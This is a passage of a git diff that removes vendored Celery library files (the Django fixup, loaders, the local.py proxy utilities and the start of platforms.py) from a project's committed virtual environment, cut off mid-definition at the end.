django - except ImportError: - warnings.warn(FixupWarning(ERR_NOT_INSTALLED)) - else: - _verify_django_version(django) - return DjangoFixup(app).install() - return None - - -class DjangoFixup: - """Fixup installed when using Django.""" - - def __init__(self, app: "Celery"): - self.app = app - if _state.default_app is None: - self.app.set_default() - self._worker_fixup: Optional["DjangoWorkerFixup"] = None - - def install(self) -> "DjangoFixup": - # Need to add project directory to path. - # The project directory has precedence over system modules, - # so we prepend it to the path. - sys.path.insert(0, os.getcwd()) - - self._settings = symbol_by_name('django.conf:settings') - self.app.loader.now = self.now - - if not self.app._custom_task_cls_used: - self.app.task_cls = 'celery.contrib.django.task:DjangoTask' - - signals.import_modules.connect(self.on_import_modules) - signals.worker_init.connect(self.on_worker_init) - return self - - @property - def worker_fixup(self) -> "DjangoWorkerFixup": - if self._worker_fixup is None: - self._worker_fixup = DjangoWorkerFixup(self.app) - return self._worker_fixup - - @worker_fixup.setter - def worker_fixup(self, value: "DjangoWorkerFixup") -> None: - self._worker_fixup = value - - def on_import_modules(self, **kwargs: Any) -> None: - # call django.setup() before task modules are imported - self.worker_fixup.validate_models() - - def on_worker_init(self, **kwargs: Any) -> None: - worker: Optional["WorkController"] = kwargs.get("sender") - if worker: - self.worker_fixup.worker = worker - else: - warnings.warn( - "DjangoFixup.on_worker_init called without a sender (worker instance). " - "This may indicate a misconfiguration or an internal error.", - FixupWarning, - stacklevel=2, - ) - self.worker_fixup.install() - - def now(self, utc: bool = False) -> datetime: - return datetime.now(timezone.utc) if utc else self._now() - - def autodiscover_tasks(self) -> List[str]: - from django.apps import apps - return [config.name for config in apps.get_app_configs()] - - @cached_property - def _now(self) -> datetime: - return symbol_by_name('django.utils.timezone:now') - - -class DjangoWorkerFixup: - _db_recycles = 0 - worker = None # Set via on_worker_init callback to avoid recursive WorkController instantiation - - def __init__(self, app: "Celery") -> None: - self.app = app - self.db_reuse_max = self.app.conf.get('CELERY_DB_REUSE_MAX', None) - self._db = cast("DjangoDBModule", import_module('django.db')) - self._cache = import_module('django.core.cache') - self._settings = symbol_by_name('django.conf:settings') - - self.interface_errors = ( - symbol_by_name('django.db.utils.InterfaceError'), - ) - self.DatabaseError = symbol_by_name('django.db:DatabaseError') - - def django_setup(self) -> None: - import django - django.setup() - - def validate_models(self) -> None: - from django.core.checks import run_checks - self.django_setup() - if not os.environ.get('CELERY_SKIP_CHECKS'): - run_checks() - - def install(self) -> "DjangoWorkerFixup": - signals.beat_embedded_init.connect(self.close_database) - signals.task_prerun.connect(self.on_task_prerun) - signals.task_postrun.connect(self.on_task_postrun) - signals.worker_process_init.connect(self.on_worker_process_init) - self.close_database() - self.close_cache() - return self - - def on_worker_process_init(self, **kwargs: Any) -> None: - # Child process must validate models again if on Windows, - # or if they were started using execv. - if os.environ.get('FORKED_BY_MULTIPROCESSING'): - self.validate_models() - - # close connections: - # the parent process may have established these, - # so need to close them. - - # calling db.close() on some DB connections will cause - # the inherited DB conn to also get broken in the parent - # process so we need to remove it without triggering any - # network IO that close() might cause. - for c in self._db.connections.all(): - if c and c.connection: - self._maybe_close_db_fd(c) - - # use the _ version to avoid DB_REUSE preventing the conn.close() call - self._close_database() - self.close_cache() - - def _maybe_close_db_fd(self, c: "BaseDatabaseWrapper") -> None: - try: - with c.wrap_database_errors: - _maybe_close_fd(c.connection) - except self.interface_errors: - pass - - def on_task_prerun(self, sender: "Task", **kwargs: Any) -> None: - """Called before every task.""" - if not getattr(sender.request, 'is_eager', False): - self.close_database() - - def on_task_postrun(self, sender: "Task", **kwargs: Any) -> None: - # See https://groups.google.com/group/django-users/browse_thread/thread/78200863d0c07c6d/ - if not getattr(sender.request, 'is_eager', False): - self.close_database() - self.close_cache() - - def close_database(self, **kwargs: Any) -> None: - if not self.db_reuse_max: - return self._close_database() - if self._db_recycles >= self.db_reuse_max * 2: - self._db_recycles = 0 - self._close_database() - self._db_recycles += 1 - - def _is_prefork(self) -> bool: - if self.worker is None: - return False - pool = self.worker.pool_cls if isinstance(self.worker.pool_cls, str) else self.worker.pool_cls.__module__ - return "prefork" in pool - - def _close_database(self) -> None: - try: - connections = self._db.connections.all(initialized_only=True) - except TypeError: - # Support Django < 4.1 - connections = self._db.connections.all() - - is_prefork = self._is_prefork() - - for conn in connections: - try: - conn.close() - pool_enabled = self._settings.DATABASES.get(conn.alias, {}).get("OPTIONS", {}).get("pool") - if pool_enabled and is_prefork and hasattr(conn, "close_pool"): - with contextlib.suppress(KeyError): - conn.close_pool() - except self.interface_errors: - pass - except self.DatabaseError as exc: - str_exc = str(exc) - if 'closed' not in str_exc and 'not connected' not in str_exc: - raise - - def close_cache(self) -> None: - try: - self._cache.close_caches() - except (TypeError, AttributeError): - pass diff --git a/venv/Lib/site-packages/celery/loaders/__init__.py b/venv/Lib/site-packages/celery/loaders/__init__.py deleted file mode 100644 index 730a1fa2758d22da4def098e6a22d1603549d7f8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/loaders/__init__.py +++ /dev/null @@ -1,18 +0,0 @@ -"""Get loader by name. - -Loaders define how configuration is read, what happens -when workers start, when tasks are executed and so on. -""" -from celery.utils.imports import import_from_cwd, symbol_by_name - -__all__ = ('get_loader_cls',) - -LOADER_ALIASES = { - 'app': 'celery.loaders.app:AppLoader', - 'default': 'celery.loaders.default:Loader', -} - - -def get_loader_cls(loader): - """Get loader class by name/alias.""" - return symbol_by_name(loader, LOADER_ALIASES, imp=import_from_cwd) diff --git a/venv/Lib/site-packages/celery/loaders/app.py b/venv/Lib/site-packages/celery/loaders/app.py deleted file mode 100644 index c9784c502609609eace8de2f60459a373e662091..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/loaders/app.py +++ /dev/null @@ -1,8 +0,0 @@ -"""The default loader used with custom app instances.""" -from .base import BaseLoader - -__all__ = ('AppLoader',) - - -class AppLoader(BaseLoader): - """Default loader used when an app is specified.""" diff --git a/venv/Lib/site-packages/celery/loaders/base.py b/venv/Lib/site-packages/celery/loaders/base.py deleted file mode 100644 index 01e84254710ae610e2882cb2ab01165b2d909066..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/loaders/base.py +++ /dev/null @@ -1,278 +0,0 @@ -"""Loader base class.""" -import importlib -import os -import re -import sys -from datetime import datetime, timezone - -from kombu.utils import json -from kombu.utils.objects import cached_property - -from celery import signals -from celery.exceptions import reraise -from celery.utils.collections import DictAttribute, force_mapping -from celery.utils.functional import maybe_list -from celery.utils.imports import NotAPackage, find_module, import_from_cwd, symbol_by_name - -__all__ = ('BaseLoader',) - -_RACE_PROTECTION = False - -CONFIG_INVALID_NAME = """\ -Error: Module '{module}' doesn't exist, or it's not a valid \ -Python module name. -""" - -CONFIG_WITH_SUFFIX = CONFIG_INVALID_NAME + """\ -Did you mean '{suggest}'? -""" - -unconfigured = object() - - -class BaseLoader: - """Base class for loaders. - - Loaders handles, - - * Reading celery client/worker configurations. - - * What happens when a task starts? - See :meth:`on_task_init`. - - * What happens when the worker starts? - See :meth:`on_worker_init`. - - * What happens when the worker shuts down? - See :meth:`on_worker_shutdown`. - - * What modules are imported to find tasks? - """ - - builtin_modules = frozenset() - configured = False - override_backends = {} - worker_initialized = False - - _conf = unconfigured - - def __init__(self, app, **kwargs): - self.app = app - self.task_modules = set() - - def now(self, utc=True): - if utc: - return datetime.now(timezone.utc) - return datetime.now() - - def on_task_init(self, task_id, task): - """Called before a task is executed.""" - - def on_process_cleanup(self): - """Called after a task is executed.""" - - def on_worker_init(self): - """Called when the worker (:program:`celery worker`) starts.""" - - def on_worker_shutdown(self): - """Called when the worker (:program:`celery worker`) shuts down.""" - - def on_worker_process_init(self): - """Called when a child process starts.""" - - def import_task_module(self, module): - self.task_modules.add(module) - return self.import_from_cwd(module) - - def import_module(self, module, package=None): - return importlib.import_module(module, package=package) - - def import_from_cwd(self, module, imp=None, package=None): - return import_from_cwd( - module, - self.import_module if imp is None else imp, - package=package, - ) - - def import_default_modules(self): - responses = signals.import_modules.send(sender=self.app) - # Prior to this point loggers are not yet set up properly, need to - # check responses manually and reraised exceptions if any, otherwise - # they'll be silenced, making it incredibly difficult to debug. - for _, response in responses: - if isinstance(response, Exception): - raise response - return [self.import_task_module(m) for m in self.default_modules] - - def init_worker(self): - if not self.worker_initialized: - self.worker_initialized = True - self.import_default_modules() - self.on_worker_init() - - def shutdown_worker(self): - self.on_worker_shutdown() - - def init_worker_process(self): - self.on_worker_process_init() - - def config_from_object(self, obj, silent=False): - if isinstance(obj, str): - try: - obj = self._smart_import(obj, imp=self.import_from_cwd) - except (ImportError, AttributeError): - if silent: - return False - raise - self._conf = force_mapping(obj) - if self._conf.get('override_backends') is not None: - self.override_backends = self._conf['override_backends'] - return True - - def _smart_import(self, path, imp=None): - imp = self.import_module if imp is None else imp - if ':' in path: - # Path includes attribute so can just jump - # here (e.g., ``os.path:abspath``). - return symbol_by_name(path, imp=imp) - - # Not sure if path is just a module name or if it includes an - # attribute name (e.g., ``os.path``, vs, ``os.path.abspath``). - try: - return imp(path) - except ImportError: - # Not a module name, so try module + attribute. - return symbol_by_name(path, imp=imp) - - def _import_config_module(self, name): - try: - self.find_module(name) - except NotAPackage as exc: - if name.endswith('.py'): - reraise(NotAPackage, NotAPackage(CONFIG_WITH_SUFFIX.format( - module=name, suggest=name[:-3])), sys.exc_info()[2]) - raise NotAPackage(CONFIG_INVALID_NAME.format(module=name)) from exc - else: - return self.import_from_cwd(name) - - def find_module(self, module): - return find_module(module) - - def cmdline_config_parser(self, args, namespace='celery', - re_type=re.compile(r'\((\w+)\)'), - extra_types=None, - override_types=None): - extra_types = extra_types if extra_types else {'json': json.loads} - override_types = override_types if override_types else { - 'tuple': 'json', - 'list': 'json', - 'dict': 'json' - } - from celery.app.defaults import NAMESPACES, Option - namespace = namespace and namespace.lower() - typemap = dict(Option.typemap, **extra_types) - - def getarg(arg): - """Parse single configuration from command-line.""" - # ## find key/value - # ns.key=value|ns_key=value (case insensitive) - key, value = arg.split('=', 1) - key = key.lower().replace('.', '_') - - # ## find name-space. - # .key=value|_key=value expands to default name-space. - if key[0] == '_': - ns, key = namespace, key[1:] - else: - # find name-space part of key - ns, key = key.split('_', 1) - - ns_key = (ns and ns + '_' or '') + key - - # (type)value makes cast to custom type. - cast = re_type.match(value) - if cast: - type_ = cast.groups()[0] - type_ = override_types.get(type_, type_) - value = value[len(cast.group()):] - value = typemap[type_](value) - else: - try: - value = NAMESPACES[ns.lower()][key].to_python(value) - except ValueError as exc: - # display key name in error message. - raise ValueError(f'{ns_key!r}: {exc}') - return ns_key, value - return dict(getarg(arg) for arg in args) - - def read_configuration(self, env='CELERY_CONFIG_MODULE'): - try: - custom_config = os.environ[env] - except KeyError: - pass - else: - if custom_config: - usercfg = self._import_config_module(custom_config) - return DictAttribute(usercfg) - - def autodiscover_tasks(self, packages, related_name='tasks'): - self.task_modules.update( - mod.__name__ for mod in autodiscover_tasks(packages or (), - related_name) if mod) - - @cached_property - def default_modules(self): - return ( - tuple(self.builtin_modules) + - tuple(maybe_list(self.app.conf.imports)) + - tuple(maybe_list(self.app.conf.include)) - ) - - @property - def conf(self): - """Loader configuration.""" - if self._conf is unconfigured: - self._conf = self.read_configuration() - return self._conf - - -def autodiscover_tasks(packages, related_name='tasks'): - global _RACE_PROTECTION - - if _RACE_PROTECTION: - return () - _RACE_PROTECTION = True - try: - return [find_related_module(pkg, related_name) for pkg in packages] - finally: - _RACE_PROTECTION = False - - -def find_related_module(package, related_name): - """Find module in package.""" - # Django 1.7 allows for specifying a class name in INSTALLED_APPS. - # (Issue #2248). - try: - # Return package itself when no related_name. - module = importlib.import_module(package) - if not related_name and module: - return module - except ModuleNotFoundError: - # On import error, try to walk package up one level. - package, _, _ = package.rpartition('.') - if not package: - raise - - module_name = f'{package}.{related_name}' - - try: - # Try to find related_name under package. - return importlib.import_module(module_name) - except ModuleNotFoundError as e: - import_exc_name = getattr(e, 'name', None) - # If candidate does not exist, then return None. - if import_exc_name and module_name == import_exc_name: - return - - # Otherwise, raise because error probably originated from a nested import. - raise e diff --git a/venv/Lib/site-packages/celery/loaders/default.py b/venv/Lib/site-packages/celery/loaders/default.py deleted file mode 100644 index b49634c2a16b6f34eec440fc3efc3ca7b94f3c80..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/loaders/default.py +++ /dev/null @@ -1,42 +0,0 @@ -"""The default loader used when no custom app has been initialized.""" -import os -import warnings - -from celery.exceptions import NotConfigured -from celery.utils.collections import DictAttribute -from celery.utils.serialization import strtobool - -from .base import BaseLoader - -__all__ = ('Loader', 'DEFAULT_CONFIG_MODULE') - -DEFAULT_CONFIG_MODULE = 'celeryconfig' - -#: Warns if configuration file is missing if :envvar:`C_WNOCONF` is set. -C_WNOCONF = strtobool(os.environ.get('C_WNOCONF', False)) - - -class Loader(BaseLoader): - """The loader used by the default app.""" - - def setup_settings(self, settingsdict): - return DictAttribute(settingsdict) - - def read_configuration(self, fail_silently=True): - """Read configuration from :file:`celeryconfig.py`.""" - configname = os.environ.get('CELERY_CONFIG_MODULE', - DEFAULT_CONFIG_MODULE) - try: - usercfg = self._import_config_module(configname) - except ImportError: - if not fail_silently: - raise - # billiard sets this if forked using execv - if C_WNOCONF and not os.environ.get('FORKED_BY_MULTIPROCESSING'): - warnings.warn(NotConfigured( - 'No {module} module found! Please make sure it exists and ' - 'is available to Python.'.format(module=configname))) - return self.setup_settings({}) - else: - self.configured = True - return self.setup_settings(usercfg) diff --git a/venv/Lib/site-packages/celery/local.py b/venv/Lib/site-packages/celery/local.py deleted file mode 100644 index 34eafff348240ff28154b7458f7e8e7c59502f0d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/local.py +++ /dev/null @@ -1,542 +0,0 @@ -"""Proxy/PromiseProxy implementation. - -This module contains critical utilities that needs to be loaded as -soon as possible, and that shall not load any third party modules. - -Parts of this module is Copyright by Werkzeug Team. -""" - -import operator -import sys -from functools import reduce -from importlib import import_module -from types import ModuleType - -__all__ = ('Proxy', 'PromiseProxy', 'try_import', 'maybe_evaluate') - -__module__ = __name__ # used by Proxy class body - - -def _default_cls_attr(name, type_, cls_value): - # Proxy uses properties to forward the standard - # class attributes __module__, __name__ and __doc__ to the real - # object, but these needs to be a string when accessed from - # the Proxy class directly. This is a hack to make that work. - # -- See Issue #1087. - - def __new__(cls, getter): - instance = type_.__new__(cls, cls_value) - instance.__getter = getter - return instance - - def __get__(self, obj, cls=None): - return self.__getter(obj) if obj is not None else self - - return type(name, (type_,), { - '__new__': __new__, '__get__': __get__, - }) - - -def try_import(module, default=None): - """Try to import and return module. - - Returns None if the module does not exist. - """ - try: - return import_module(module) - except ImportError: - return default - - -class Proxy: - """Proxy to another object.""" - - # Code stolen from werkzeug.local.Proxy. - __slots__ = ('__local', '__args', '__kwargs', '__dict__') - - def __init__(self, local, - args=None, kwargs=None, name=None, __doc__=None): - object.__setattr__(self, '_Proxy__local', local) - object.__setattr__(self, '_Proxy__args', args or ()) - object.__setattr__(self, '_Proxy__kwargs', kwargs or {}) - if name is not None: - object.__setattr__(self, '__custom_name__', name) - if __doc__ is not None: - object.__setattr__(self, '__doc__', __doc__) - - @_default_cls_attr('name', str, __name__) - def __name__(self): - try: - return self.__custom_name__ - except AttributeError: - return self._get_current_object().__name__ - - @_default_cls_attr('qualname', str, __name__) - def __qualname__(self): - try: - return self.__custom_name__ - except AttributeError: - return self._get_current_object().__qualname__ - - @_default_cls_attr('module', str, __module__) - def __module__(self): - return self._get_current_object().__module__ - - @_default_cls_attr('doc', str, __doc__) - def __doc__(self): - return self._get_current_object().__doc__ - - def _get_class(self): - return self._get_current_object().__class__ - - @property - def __class__(self): - return self._get_class() - - def _get_current_object(self): - """Get current object. - - This is useful if you want the real - object behind the proxy at a time for performance reasons or because - you want to pass the object into a different context. - """ - loc = object.__getattribute__(self, '_Proxy__local') - if not hasattr(loc, '__release_local__'): - return loc(*self.__args, **self.__kwargs) - try: # pragma: no cover - # not sure what this is about - return getattr(loc, self.__name__) - except AttributeError: # pragma: no cover - raise RuntimeError(f'no object bound to {self.__name__}') - - @property - def __dict__(self): - try: - return self._get_current_object().__dict__ - except RuntimeError: # pragma: no cover - raise AttributeError('__dict__') - - def __repr__(self): - try: - obj = self._get_current_object() - except RuntimeError: # pragma: no cover - return f'<{self.__class__.__name__} unbound>' - return repr(obj) - - def __bool__(self): - try: - return bool(self._get_current_object()) - except RuntimeError: # pragma: no cover - return False - - __nonzero__ = __bool__ # Py2 - - def __dir__(self): - try: - return dir(self._get_current_object()) - except RuntimeError: # pragma: no cover - return [] - - def __getattr__(self, name): - if name == '__members__': - return dir(self._get_current_object()) - return getattr(self._get_current_object(), name) - - def __setitem__(self, key, value): - self._get_current_object()[key] = value - - def __delitem__(self, key): - del self._get_current_object()[key] - - def __setattr__(self, name, value): - setattr(self._get_current_object(), name, value) - - def __delattr__(self, name): - delattr(self._get_current_object(), name) - - def __str__(self): - return str(self._get_current_object()) - - def __lt__(self, other): - return self._get_current_object() < other - - def __le__(self, other): - return self._get_current_object() <= other - - def __eq__(self, other): - return self._get_current_object() == other - - def __ne__(self, other): - return self._get_current_object() != other - - def __gt__(self, other): - return self._get_current_object() > other - - def __ge__(self, other): - return self._get_current_object() >= other - - def __hash__(self): - return hash(self._get_current_object()) - - def __call__(self, *a, **kw): - return self._get_current_object()(*a, **kw) - - def __len__(self): - return len(self._get_current_object()) - - def __getitem__(self, i): - return self._get_current_object()[i] - - def __iter__(self): - return iter(self._get_current_object()) - - def __contains__(self, i): - return i in self._get_current_object() - - def __add__(self, other): - return self._get_current_object() + other - - def __sub__(self, other): - return self._get_current_object() - other - - def __mul__(self, other): - return self._get_current_object() * other - - def __floordiv__(self, other): - return self._get_current_object() // other - - def __mod__(self, other): - return self._get_current_object() % other - - def __divmod__(self, other): - return self._get_current_object().__divmod__(other) - - def __pow__(self, other): - return self._get_current_object() ** other - - def __lshift__(self, other): - return self._get_current_object() << other - - def __rshift__(self, other): - return self._get_current_object() >> other - - def __and__(self, other): - return self._get_current_object() & other - - def __xor__(self, other): - return self._get_current_object() ^ other - - def __or__(self, other): - return self._get_current_object() | other - - def __div__(self, other): - return self._get_current_object().__div__(other) - - def __truediv__(self, other): - return self._get_current_object().__truediv__(other) - - def __neg__(self): - return -(self._get_current_object()) - - def __pos__(self): - return +(self._get_current_object()) - - def __abs__(self): - return abs(self._get_current_object()) - - def __invert__(self): - return ~(self._get_current_object()) - - def __complex__(self): - return complex(self._get_current_object()) - - def __int__(self): - return int(self._get_current_object()) - - def __float__(self): - return float(self._get_current_object()) - - def __oct__(self): - return oct(self._get_current_object()) - - def __hex__(self): - return hex(self._get_current_object()) - - def __index__(self): - return self._get_current_object().__index__() - - def __coerce__(self, other): - return self._get_current_object().__coerce__(other) - - def __enter__(self): - return self._get_current_object().__enter__() - - def __exit__(self, *a, **kw): - return self._get_current_object().__exit__(*a, **kw) - - def __reduce__(self): - return self._get_current_object().__reduce__() - - -class PromiseProxy(Proxy): - """Proxy that evaluates object once. - - :class:`Proxy` will evaluate the object each time, while the - promise will only evaluate it once. - """ - - __slots__ = ('__pending__', '__weakref__') - - def _get_current_object(self): - try: - return object.__getattribute__(self, '__thing') - except AttributeError: - return self.__evaluate__() - - def __then__(self, fun, *args, **kwargs): - if self.__evaluated__(): - return fun(*args, **kwargs) - from collections import deque - try: - pending = object.__getattribute__(self, '__pending__') - except AttributeError: - pending = None - if pending is None: - pending = deque() - object.__setattr__(self, '__pending__', pending) - pending.append((fun, args, kwargs)) - - def __evaluated__(self): - try: - object.__getattribute__(self, '__thing') - except AttributeError: - return False - return True - - def __maybe_evaluate__(self): - return self._get_current_object() - - def __evaluate__(self, - _clean=('_Proxy__local', - '_Proxy__args', - '_Proxy__kwargs')): - try: - thing = Proxy._get_current_object(self) - except Exception: - raise - else: - object.__setattr__(self, '__thing', thing) - for attr in _clean: - try: - object.__delattr__(self, attr) - except AttributeError: # pragma: no cover - # May mask errors so ignore - pass - try: - pending = object.__getattribute__(self, '__pending__') - except AttributeError: - pass - else: - try: - while pending: - fun, args, kwargs = pending.popleft() - fun(*args, **kwargs) - finally: - try: - object.__delattr__(self, '__pending__') - except AttributeError: # pragma: no cover - pass - return thing - - -def maybe_evaluate(obj): - """Attempt to evaluate promise, even if obj is not a promise.""" - try: - return obj.__maybe_evaluate__() - except AttributeError: - return obj - - -# ############# Module Generation ########################## - -# Utilities to dynamically -# recreate modules, either for lazy loading or -# to create old modules at runtime instead of -# having them litter the source tree. - -# import fails in python 2.5. fallback to reduce in stdlib - - -MODULE_DEPRECATED = """ -The module %s is deprecated and will be removed in a future version. -""" - -DEFAULT_ATTRS = {'__file__', '__path__', '__doc__', '__all__'} - - -# im_func is no longer available in Py3. -# instead the unbound method itself can be used. -def fun_of_method(method): - return method - - -def getappattr(path): - """Get attribute from current_app recursively. - - Example: ``getappattr('amqp.get_task_consumer')``. - - """ - from celery import current_app - return current_app._rgetattr(path) - - -COMPAT_MODULES = { - 'celery': { - 'execute': { - 'send_task': 'send_task', - }, - 'log': { - 'get_default_logger': 'log.get_default_logger', - 'setup_logging_subsystem': 'log.setup_logging_subsystem', - 'redirect_stdouts_to_logger': 'log.redirect_stdouts_to_logger', - }, - 'messaging': { - 'TaskConsumer': 'amqp.TaskConsumer', - 'establish_connection': 'connection', - 'get_consumer_set': 'amqp.TaskConsumer', - }, - 'registry': { - 'tasks': 'tasks', - }, - }, -} - -#: We exclude these from dir(celery) -DEPRECATED_ATTRS = set(COMPAT_MODULES['celery'].keys()) | {'subtask'} - - -class class_property: - - def __init__(self, getter=None, setter=None): - if getter is not None and not isinstance(getter, classmethod): - getter = classmethod(getter) - if setter is not None and not isinstance(setter, classmethod): - setter = classmethod(setter) - self.__get = getter - self.__set = setter - - info = getter.__get__(object) # just need the info attrs. - self.__doc__ = info.__doc__ - self.__name__ = info.__name__ - self.__module__ = info.__module__ - - def __get__(self, obj, type=None): - if obj and type is None: - type = obj.__class__ - return self.__get.__get__(obj, type)() - - def __set__(self, obj, value): - if obj is None: - return self - return self.__set.__get__(obj)(value) - - def setter(self, setter): - return self.__class__(self.__get, setter) - - -def reclassmethod(method): - return classmethod(fun_of_method(method)) - - -class LazyModule(ModuleType): - _compat_modules = () - _all_by_module = {} - _direct = {} - _object_origins = {} - - def __getattr__(self, name): - if name in self._object_origins: - module = __import__(self._object_origins[name], None, None, - [name]) - for item in self._all_by_module[module.__name__]: - setattr(self, item, getattr(module, item)) - return getattr(module, name) - elif name in self._direct: # pragma: no cover - module = __import__(self._direct[name], None, None, [name]) - setattr(self, name, module) - return module - return ModuleType.__getattribute__(self, name) - - def __dir__(self): - return [ - attr for attr in set(self.__all__) | DEFAULT_ATTRS - if attr not in DEPRECATED_ATTRS - ] - - def __reduce__(self): - return import_module, (self.__name__,) - - -def create_module(name, attrs, cls_attrs=None, pkg=None, - base=LazyModule, prepare_attr=None): - fqdn = '.'.join([pkg.__name__, name]) if pkg else name - cls_attrs = {} if cls_attrs is None else cls_attrs - pkg, _, modname = name.rpartition('.') - cls_attrs['__module__'] = pkg - - attrs = { - attr_name: (prepare_attr(attr) if prepare_attr else attr) - for attr_name, attr in attrs.items() - } - module = sys.modules[fqdn] = type( - modname, (base,), cls_attrs)(name) - module.__dict__.update(attrs) - return module - - -def recreate_module(name, compat_modules=None, by_module=None, direct=None, - base=LazyModule, **attrs): - compat_modules = compat_modules or COMPAT_MODULES.get(name, ()) - by_module = by_module or {} - direct = direct or {} - old_module = sys.modules[name] - origins = get_origins(by_module) - - _all = tuple(set(reduce( - operator.add, - [tuple(v) for v in [compat_modules, origins, direct, attrs]], - ))) - cattrs = { - '_compat_modules': compat_modules, - '_all_by_module': by_module, '_direct': direct, - '_object_origins': origins, - '__all__': _all, - } - new_module = create_module(name, attrs, cls_attrs=cattrs, base=base) - new_module.__dict__.update({ - mod: get_compat_module(new_module, mod) for mod in compat_modules - }) - new_module.__spec__ = old_module.__spec__ - return old_module, new_module - - -def get_compat_module(pkg, name): - def prepare(attr): - if isinstance(attr, str): - return Proxy(getappattr, (attr,)) - return attr - - attrs = COMPAT_MODULES[pkg.__name__][name] - if isinstance(attrs, str): - fqdn = '.'.join([pkg.__name__, name]) - module = sys.modules[fqdn] = import_module(attrs) - return module - attrs['__all__'] = list(attrs) - return create_module(name, dict(attrs), pkg=pkg, prepare_attr=prepare) - - -def get_origins(defs): - origins = {} - for module, attrs in defs.items(): - origins.update({attr: module for attr in attrs}) - return origins diff --git a/venv/Lib/site-packages/celery/platforms.py b/venv/Lib/site-packages/celery/platforms.py deleted file mode 100644 index c0d0438a78efd292db8187a970cff509454e4c23..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/platforms.py +++ /dev/null @@ -1,843 +0,0 @@ -"""Platforms. - -Utilities dealing with platform specifics: signals, daemonization, -users, groups, and so on. -""" - -import atexit -import errno -import math -import numbers -import os -import platform as _platform -import signal as _signal -import sys -import warnings -from contextlib import contextmanager - -from billiard.compat import close_open_fds, get_fdmax -from billiard.util import set_pdeathsig as _set_pdeathsig -# fileno used to be in this module -from kombu.utils.compat import maybe_fileno -from kombu.utils.encoding import safe_str - -from .exceptions import SecurityError, SecurityWarning, reraise -from .local import try_import - -try: - from billiard.process import current_process -except ImportError: - current_process = None - -_setproctitle = try_import('setproctitle') -resource = try_import('resource') -pwd = try_import('pwd') -grp = try_import('grp') -mputil = try_import('multiprocessing.util') - -__all__ = ( - 'EX_OK', 'EX_FAILURE', 'EX_UNAVAILABLE', 'EX_USAGE', 'SYSTEM', - 'IS_macOS', 'IS_WINDOWS', 'SIGMAP', 'pyimplementation', 'LockFailed', - 'get_fdmax', 'Pidfile', 'create_pidlock', 'close_open_fds', - 'DaemonContext', 'detached', 'parse_uid', 'parse_gid', 'setgroups', - 'initgroups', 'setgid', 'setuid', 'maybe_drop_privileges', 'signals', - 'signal_name', 'set_process_title', 'set_mp_process_title', - 'get_errno_name', 'ignore_errno', 'fd_by_path', 'isatty', -) - -# exitcodes -EX_OK = getattr(os, 'EX_OK', 0) -EX_FAILURE = 1 -EX_UNAVAILABLE = getattr(os, 'EX_UNAVAILABLE', 69) -EX_USAGE = getattr(os, 'EX_USAGE', 64) -EX_CANTCREAT = getattr(os, 'EX_CANTCREAT', 73) - -SYSTEM = _platform.system() -IS_macOS = SYSTEM == 'Darwin' -IS_WINDOWS = SYSTEM == 'Windows' - -DAEMON_WORKDIR = '/' - -PIDFILE_FLAGS = os.O_CREAT | os.O_EXCL | os.O_WRONLY -PIDFILE_MODE = ((os.R_OK | os.W_OK) << 6) | ((os.R_OK) << 3) | (os.R_OK) - -PIDLOCKED = """ERROR: Pidfile ({0}) already exists. -Seems we're already running? (pid: {1})""" - -ROOT_DISALLOWED = """\ -Running a worker with superuser privileges when the -worker accepts messages serialized with pickle is a very bad idea! - -If you really want to continue then you have to set the C_FORCE_ROOT -environment variable (but please think about this before you do). - -User information: uid={uid} euid={euid} gid={gid} egid={egid} -""" - -ROOT_DISCOURAGED = """\ -You're running the worker with superuser privileges: this is -absolutely not recommended! - -Please specify a different user using the --uid option. - -User information: uid={uid} euid={euid} gid={gid} egid={egid} -""" - -ASSUMING_ROOT = """\ -An entry for the specified gid or egid was not found. -We're assuming this is a potential security issue. -""" - -SIGNAMES = { - sig for sig in dir(_signal) - if sig.startswith('SIG') and '_' not in sig -} -SIGMAP = {getattr(_signal, name): name for name in SIGNAMES} - - -def isatty(fh): - """Return true if the process has a controlling terminal.""" - try: - return fh.isatty() - except AttributeError: - pass - - -def pyimplementation(): - """Return string identifying the current Python implementation.""" - if hasattr(_platform, 'python_implementation'): - return _platform.python_implementation() - elif sys.platform.startswith('java'): - return 'Jython ' + sys.platform - elif hasattr(sys, 'pypy_version_info'): - v = '.'.join(str(p) for p in sys.pypy_version_info[:3]) - if sys.pypy_version_info[3:]: - v += '-' + ''.join(str(p) for p in sys.pypy_version_info[3:]) - return 'PyPy ' + v - else: - return 'CPython' - - -class LockFailed(Exception): - """Raised if a PID lock can't be acquired.""" - - -class Pidfile: - """Pidfile. - - This is the type returned by :func:`create_pidlock`. - - See Also: - Best practice is to not use this directly but rather use - the :func:`create_pidlock` function instead: - more convenient and also removes stale pidfiles (when - the process holding the lock is no longer running). - """ - - #: Path to the pid lock file. - path = None - - def __init__(self, path): - self.path = os.path.abspath(path) - - def acquire(self): - """Acquire lock.""" - try: - self.write_pid() - except OSError as exc: - reraise(LockFailed, LockFailed(str(exc)), sys.exc_info()[2]) - return self - - __enter__ = acquire - - def is_locked(self): - """Return true if the pid lock exists.""" - return os.path.exists(self.path) - - def release(self, *args): - """Release lock.""" - self.remove() - - __exit__ = release - - def read_pid(self): - """Read and return the current pid.""" - with ignore_errno('ENOENT'): - with open(self.path) as fh: - line = fh.readline() - if line.strip() == line: # must contain '\n' - raise ValueError( - f'Partial or invalid pidfile {self.path}') - - try: - return int(line.strip()) - except ValueError: - raise ValueError( - f'pidfile {self.path} contents invalid.') - - def remove(self): - """Remove the lock.""" - with ignore_errno(errno.ENOENT, errno.EACCES): - os.unlink(self.path) - - def remove_if_stale(self): - """Remove the lock if the process isn't running. - - I.e. process does not respond to signal. - """ - try: - pid = self.read_pid() - except ValueError: - print('Broken pidfile found - Removing it.', file=sys.stderr) - self.remove() - return True - if not pid: - self.remove() - return True - if pid == os.getpid(): - # this can be common in k8s pod with PID of 1 - don't kill - self.remove() - return True - - try: - os.kill(pid, 0) - except OSError as exc: - if exc.errno == errno.ESRCH or exc.errno == errno.EPERM: - print('Stale pidfile exists - Removing it.', file=sys.stderr) - self.remove() - return True - except SystemError: - print('Stale pidfile exists - Removing it.', file=sys.stderr) - self.remove() - return True - return False - - def 